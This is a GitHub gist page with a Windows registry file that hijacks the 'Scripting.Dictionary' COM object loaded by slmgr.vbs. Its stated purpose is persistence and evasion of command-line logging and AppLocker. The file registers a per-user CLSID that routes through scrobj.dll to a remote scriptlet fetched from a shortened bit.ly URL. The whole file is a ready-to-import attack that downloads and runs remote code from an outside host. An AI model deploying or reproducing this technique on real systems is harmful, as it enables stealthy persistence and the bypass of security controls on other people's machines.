Skip to content

Instantly share code, notes, and snippets.

@decay88

decay88/slmgr-com-hijack.reg

Forked from mgeeky/slmgr-com-hijack.reg
Created July 13, 2019 08:04
Show Gist options
  • Save decay88/9b294fb09b9908f746e50c860362b9f4 to your computer and use it in GitHub Desktop.
Save decay88/9b294fb09b9908f746e50c860362b9f4 to your computer and use it in GitHub Desktop.
Download ZIP
Example presenting how to Hijack COM object named "Scripting.Dictionary" used by slmgr.vbs (CreateObject("Scripting.Dictionary")) in order to obtain persistence or evade Command Line logging and AppLocker
Raw
slmgr-com-hijack.reg
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\Scripting.Dictionary]
@=""
[HKEY_CURRENT_USER\Software\Classes\Scripting.Dictionary]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]
@="Scripting.Dictionary"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InProcServer32]
@="C:\\Windows\\system32\\scrobj.dll"
"ThreadingModel"="Apartment"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID]
@="Scripting.Dictionary"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL]
@="https://bit.ly/31nEr1c"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID]
@="Scripting.Dictionary"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment